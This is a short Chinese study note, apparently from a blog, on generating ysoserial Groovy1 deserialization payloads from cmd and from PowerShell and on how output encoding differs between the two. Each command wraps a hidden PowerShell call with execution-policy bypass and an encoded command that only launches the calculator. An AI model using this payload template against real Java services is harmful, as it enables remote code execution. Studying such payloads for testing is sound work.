现象:
1.cmd生成payload
java -jar ysoserial.jar Groovy1 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc YwBhAGwAYwA=" > payload.bin
2.powershell生成payload
java -jar ysoserial.jar Groovy1 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc YwBhAGwAYwA=" > payload2.bin
第二次生成:
java -jar ysoserial.jar Groovy1 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc YwBhAGwAYwA=" | Out-File -Encoding default payload3.bin
3.结果对比

4.学习
https://wenku.baidu.com/view/768a052b915f804d2b16c149.html


本文探讨了使用PowerShell与Java两种不同方式生成payload的方法,并对比了cmd和powershell生成payload的差异。通过具体实例,展示了如何利用java-jarysoserial.jar工具结合Groovy1脚本,分别在cmd和powershell环境中生成payload文件。此外,文章还提供了进一步学习的资源链接。

3622

被折叠的 条评论
为什么被折叠?



